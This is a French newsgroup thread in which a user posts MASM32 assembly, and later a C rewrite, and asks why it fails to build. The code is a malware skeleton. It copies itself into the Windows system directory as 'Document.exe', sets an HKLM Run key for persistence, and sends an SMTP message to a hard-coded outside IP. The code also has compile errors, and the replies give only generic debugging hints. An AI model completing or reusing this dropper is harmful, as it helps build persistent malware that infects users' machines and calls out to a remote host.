Twitter iPhone pliant OnePlus 11 PS5 Disney+ Orange Livebox Windows 11

pourquoi mon code ne compile mas j utilise masm8

10 réponses
Avatar
john.swilting
;MASM32
 
.386
.model flat,stdcall
option casemap:none
 
include \masm32\include\advapi32.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\include\advapi32.lib
 
Mys PROTO :DWORD

 
.DATA
szKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0
szStringValue db "Document",0
RegistryText db "Document.exe",0
Slash db "\",0
;les OFFSETS initialises de notre MessageBox
;Title_Box db "Document.exe",0
;Msg_Box db "Document.exe",0  
SMTP db "193.252.22.109",0 ;IP du srv smtp.infonie.be
 
EHLO db "EHLO localhost.localdomain",13 ,10 ,0
MAIL_FROM db "MAIL FROM:<serge.john.swilting@wanadoo.fr>",13 ,10 ,0
RCPT_TO db "RCPT TO:<john.swilting@wanadoo.fr>",13 ,10 ,0
DONNEES db "DATA",13 ,10 ,0
TEXTE db "yum install pas 2 skull !",13 ,10 ,13 ,10 ,0
FIN_DONNEES db ".",13 ,10 ,0
 
FERME db "QUIT",13 ,10 ,0 ;fini la connection
;smtp
 
wsadata WSADATA <;> ;pour la structure du socket
sin sockaddr_in <;>
Port dd 25 ;port smtp
 
.DATA?
 
sock dd ? ;pour la structure du socket
buf db 255 dup (?) ;buffer pour le MessageBox
Disp DWORD ?
System_Dir db 256 dup(?)
Himself db 256 dup(?)
pKey DWORD ?
 
 
 
.CODE
start:
push SIZEOF szStringValue
push OFFSET szStringValue
push OFFSET szKeyName
push OFFSET RegistryText
call SetRegKeysz
cmp eax,ERROR_SUCCESS
;nous sollicitons le repertoire Window System

push SIZEOF System_Dir
push OFFSET System_Dir
call GetSystemDirectory

push OFFSET Slash
push OFFSET System_Dir
call lstrcat

push OFFSET RegistryText
push OFFSET System_Dir
call lstrcat

push SIZEOFF Himself
push OFFSET Himself
push NULL
call GetModuleFileName

push FALSE
push OFFSET System_Dir
push OFFSET Himself
call CopyFile
push NULL
SetRegKeysz PROC lpszString:DWORD,
                 lpszKeyName:DWORD,
                 lpszValueName:DWORD,
                 dwStringLength:DWORD

 
invoke WSAStartup,101h,addr wsadata ;    ;initialise le socket            
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_IP
mov sock,eax
mov sin.sin_family,AF_INET ;famille de socket
invoke htons,Port ;port 25
mov sin.sin_port,ax
invoke inet_addr, addr SMTP ;ip du smtp
mov sin.sin_addr, eax
 
invoke connect, sock, addr sin ,sizeof sin ;on se connecte
invoke recv, sock, addr buf, sizeof buf, 0 ;et affiche la reponse
 
; HELO SERVER
invoke Mys, addr EHLO ;
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr HELO, MB_OK
 
; MAIL TO:
invoke Mys, addr MAIL_FROM ;envoit MAIL FROM:
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr MAIL_FROM, MB_OK
 
; RCPT TO:
invoke Mys, addr RCPT_TO ;envoit RCPT TO:
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr RCPT_TO, MB_OK
 
; DATA
invoke Mys, addr DONNEES ;envoit DATA
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr DONNEES, MB_OK
 
invoke Mys, addr TEXTE ;envoit le text
 
; DATA
invoke Mys, addr FIN_DONNEES ;envoit .
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr FIN_DONNEES, MB_OK
 
 
; DATA
invoke Mys, addr FERME ;envoit QUIT
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr FERME, MB_OK
 
 
invoke closesocket,sock ;ferme le socket et quit
invoke WSACleanup
invoke ExitProcess,eax




push OFFSET Disp
push OFFSET pKey
push NULL
push KEY_ALL_ACCESS
push REG_OPTION_NON_VOLATILE
push NULL
push NULL
push lpszKeyName
push HKEY_LOCAL_MACHINE
call RegCreateKeyEx
cmp eax,ERROR_SUCCESS

push dwStringLength
push lpszString
push REG_SZ
push NULL
push lpszValueName
push pKey
call RegSetValueEx

push pKey
call RegCloseKey
ret
SetRegKeysz ENDP
;---------------------------------------
 
Mys proc SendStr : DWORD
 
push edi
mov edi, SendStr
.WHILE TRUE
.BREAK .IF (byte ptr [edi] == 0 )
invoke send, sock, edi, 1, 0
inc edi
.ENDW
pop edi
ret
Mys endp
 
END start

10 réponses

Avatar
Vincent Burel
Quand qqc ne compile pas, on donne d'abord l'erreur fournie par le
compilateur / linker...

"john.swilting" wrote in message
news:44b25cc3$0$860$
;MASM32

.386
.model flat,stdcall
option casemap:none

include masm32includeadvapi32.inc


[...]


END start


Avatar
john.swilting
dans l'article 44b49c96$0$858$, Vincent Burel à
a écrit le 12/07/06 8:54 :

Quand qqc ne compile pas, on donne d'abord l'erreur fournie par le
compilateur / linker...

"john.swilting" wrote in message
news:44b25cc3$0$860$
;MASM32

.386
.model flat,stdcall
option casemap:none

include masm32includeadvapi32.inc


[...]


END start






Microsoft Macro Assembleur 6.14
Copyrigh

Assembling Document.asm
Document.asm(79) : error A2206: missing operator in expression

Assembly error
Avatar
john.swilting
dans l'article 44b25cc3$0$860$, john.swilting à
a écrit le 10/07/06 15:57 :

;MASM32
 
.386
.model flat,stdcall
option casemap:none
 
include masm32includeadvapi32.inc
include masm32includewindows.inc
include masm32includemasm32.inc
include masm32includewsock32.inc
include masm32includeuser32.inc
include masm32includekernel32.inc
includelib masm32libuser32.lib
includelib masm32libkernel32.lib
includelib masm32libwsock32.lib
includelib masm32libmasm32.lib
includelib masm32includeadvapi32.lib
 
Mys PROTO :DWORD

 
.DATA
szKeyName db "SoftwareMicrosoftWindowsCurrentVersionRun",0
szStringValue db "Document",0
RegistryText db "Document.exe",0
Slash db "",0
;les OFFSETS initialises de notre MessageBox
;Title_Box db "Document.exe",0
;Msg_Box db "Document.exe",0  
SMTP db "193.252.22.109",0 ;IP du srv smtp.infonie.be
 
EHLO db "EHLO localhost.localdomain",13 ,10 ,0
MAIL_FROM db "MAIL FROM:",13 ,10 ,0
RCPT_TO db "RCPT TO:",13 ,10 ,0
DONNEES db "DATA",13 ,10 ,0
TEXTE db "yum install pas 2 skull !",13 ,10 ,13 ,10 ,0
FIN_DONNEES db ".",13 ,10 ,0
 
FERME db "QUIT",13 ,10 ,0 ;fini la connection
;smtp
 
wsadata WSADATA <;> ;pour la structure du socket
sin sockaddr_in <;>
Port dd 25 ;port smtp
 
.DATA?
 
sock dd ? ;pour la structure du socket
buf db 255 dup (?) ;buffer pour le MessageBox
Disp DWORD ?
System_Dir db 256 dup(?)
Himself db 256 dup(?)
pKey DWORD ?
 
 
 
.CODE
start:
push SIZEOF szStringValue
push OFFSET szStringValue
push OFFSET szKeyName
push OFFSET RegistryText
call SetRegKeysz
cmp eax,ERROR_SUCCESS
;nous sollicitons le repertoire Window System

push SIZEOF System_Dir
push OFFSET System_Dir
call GetSystemDirectory

push OFFSET Slash
push OFFSET System_Dir
call lstrcat

push OFFSET RegistryText
push OFFSET System_Dir
call lstrcat

push SIZEOFF Himself
push OFFSET Himself
push NULL
call GetModuleFileName

push FALSE
push OFFSET System_Dir
push OFFSET Himself
call CopyFile
push NULL
SetRegKeysz PROC lpszString:DWORD,
                 lpszKeyName:DWORD,
                 lpszValueName:DWORD,
                 dwStringLength:DWORD

 
invoke WSAStartup,101h,addr wsadata ;    ;initialise le socket            
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_IP
mov sock,eax
mov sin.sin_family,AF_INET ;famille de socket
invoke htons,Port ;port 25
mov sin.sin_port,ax
invoke inet_addr, addr SMTP ;ip du smtp
mov sin.sin_addr, eax
 
invoke connect, sock, addr sin ,sizeof sin ;on se connecte
invoke recv, sock, addr buf, sizeof buf, 0 ;et affiche la reponse
 
; HELO SERVER
invoke Mys, addr EHLO ;
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr HELO, MB_OK
 
; MAIL TO:
invoke Mys, addr MAIL_FROM ;envoit MAIL FROM:
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr MAIL_FROM, MB_OK
 
; RCPT TO:
invoke Mys, addr RCPT_TO ;envoit RCPT TO:
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr RCPT_TO, MB_OK
 
; DATA
invoke Mys, addr DONNEES ;envoit DATA
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr DONNEES, MB_OK
 
invoke Mys, addr TEXTE ;envoit le text
 
; DATA
invoke Mys, addr FIN_DONNEES ;envoit .
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr FIN_DONNEES, MB_OK
 
 
; DATA
invoke Mys, addr FERME ;envoit QUIT
invoke recv, sock, addr buf, sizeof buf, 0
;invoke MessageBox,0,addr buf, addr FERME, MB_OK
 
 
invoke closesocket,sock ;ferme le socket et quit
invoke WSACleanup
invoke ExitProcess,eax




push OFFSET Disp
push OFFSET pKey
push NULL
push KEY_ALL_ACCESS
push REG_OPTION_NON_VOLATILE
push NULL
push NULL
push lpszKeyName
push HKEY_LOCAL_MACHINE
call RegCreateKeyEx
cmp eax,ERROR_SUCCESS

push dwStringLength
push lpszString
push REG_SZ
push NULL
push lpszValueName
push pKey
call RegSetValueEx

push pKey
call RegCloseKey
ret
SetRegKeysz ENDP
;---------------------------------------
 
Mys proc SendStr : DWORD
 
push edi
mov edi, SendStr
.WHILE TRUE
.BREAK .IF (byte ptr [edi] == 0 )
invoke send, sock, edi, 1, 0
inc edi
.ENDW
pop edi
ret
Mys endp
 
END start


Avatar
Vincent Burel
"john.swilting" wrote in message
news:C0DD8DD3.43F2%
dans l'article 44b49c96$0$858$, Vincent Burel à
a écrit le 12/07/06 8:54 :

> Quand qqc ne compile pas, on donne d'abord l'erreur fournie par le
> compilateur / linker...
>



Microsoft Macro Assembleur 6.14
Copyrigh

Assembling Document.asm
Document.asm(79) : error A2206: missing operator in expression



et bien allez à la ligne concernée par cette erreur et corriger la.
Avatar
john.swilting
Vincent Burel wrote:


"john.swilting" wrote in message
news:C0DD8DD3.43F2%
dans l'article 44b49c96$0$858$, Vincent Burel




Avatar
elys
"john.swilting" wrote in message
news:44b7d8a0$0$882$
Vincent Burel wrote:
>> Microsoft Macro Assembleur 6.14
>> Copyrigh
>>
>> Assembling Document.asm
>> Document.asm(79) : error A2206: missing operator in expression
>
> et bien allez la ligne concern e par cette erreur et corriger la.

vous pouvez pas m aider je suis assez dans le vague avec cette erreur



Déjà on ne sait pas quelle ligne c'est.
Et ré-écris le en C ou C++, c'est plus lisible.
Avatar
john.swilting
elys wrote:

"john.swilting" wrote in message
news:44b7d8a0$0$882$
Vincent Burel wrote:
>> Microsoft Macro Assembleur 6.14
>> Copyrigh
>>
>> Assembling Document.asm
>> Document.asm(79) : error A2206: missing operator in expression
>
> et bien allez la ligne concern e par cette erreur et corriger la.

vous pouvez pas m aider je suis assez dans le vague avec cette erreur



D


Avatar
Arnold McDonald \(AMcD\)
De l'assembleur avec des invoke ! Mondieukeloreur !!!

--
Arnold McDonald (AMcD)

http://arnold.mcdonald.free.fr/
Avatar
Vincent Burel
"john.swilting" wrote in message
news:44b7d8a0$0$882$
Vincent Burel wrote:

>
> "john.swilting" wrote in message
> news:C0DD8DD3.43F2%
>> dans l'article 44b49c96$0$858$, Vincent Burel
>> a crit le 12/07/06 8:54 :
>>
>> > Quand qqc ne compile pas, on donne d'abord l'erreur fournie par le
>> > compilateur / linker...
>> >
>
>> Microsoft Macro Assembleur 6.14
>> Copyrigh
>>
>> Assembling Document.asm
>> Document.asm(79) : error A2206: missing operator in expression
>
> et bien allez la ligne concern e par cette erreur et corriger la.

vous pouvez pas m aider je suis assez dans le vague avec cette erreur



Et bien donnez nous la ligne concernée par cette erreur , c'est semble -t-il
la ligne 79 dans le document.asm concerné... vous devriez vite voir qu'il
manque un opérateur dans votre expression...
Avatar
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <string.h>

#define DEBUG 0

#define PACKET_SIZE 1024

int main(void){
WSAStartup;
int to_server_socket;
char server_name[] = "smtp.wanadoo.fr";
int port = 25;
struct sockaddr_in serverSockAddr;
struct hostent *serverHostEnt;
unsigned long hostAddr;

bzero(&serverSockAddr,sizeof(serverSockAddr));
hostAddr = inet_addr(server_name);
if ((long)hostAddr != (long)-1)
bcopy(&hostAddr,&serverSockAddr.sin_addr,sizeof(hostAddr));
else
{
serverHostEnt = gethostbyname(server_name);
bcopy(serverHostEnt->h_addr,&serverSockAddr.sin_addr,serverHostEnt->h_length);

serverSockAddr.sin_port = htons (port);
serverSockAddr.sin_family = AF_INET;

if ( (to_server_socket = socket(AF_INET,SOCK_STREAM,0)) < 0)
{
;
}
if (connect(to_server_socket,(struct sockaddr
*)&serverSockAddr,sizeof(serverSockAddr)) < 0 )
{
;
}
char helo[] = "EHLO localhost.localdomainn";
char from[] = "MAIL FROM: n";
char to[] = "RCPT TO: n";
char buf[PACKET_SIZE+1];
read(to_server_socket,buf,PACKET_SIZE);
write(to_server_socket,helo,strlen(helo));
read(to_server_socket,buf,PACKET_SIZE);
write(to_server_socket,from,strlen(from));
write(to_server_socket,to,strlen(to));
read(to_server_socket,buf,PACKET_SIZE);
write(to_server_socket,"DATA n",6);
read(to_server_socket,buf,PACKET_SIZE);
write(to_server_socket,"rn.rn",5);


shutdown(to_server_socket,2);
close (to_server_socket);
WSACleanup;
}
}


j ai des erreurs au linkage il reconnait pas bcopy et autres je ne connais
pas win
et l api


"elys" a écrit dans le message de news:
44b7dca1$0$7767$
"john.swilting" wrote in message
news:44b7d8a0$0$882$
Vincent Burel wrote:
>> Microsoft Macro Assembleur 6.14
>> Copyrigh
>>
>> Assembling Document.asm
>> Document.asm(79) : error A2206: missing operator in expression
>
> et bien allez la ligne concern e par cette erreur et corriger la.

vous pouvez pas m aider je suis assez dans le vague avec cette erreur



Déjà on ne sait pas quelle ligne c'est.
Et ré-écris le en C ou C++, c'est plus lisible.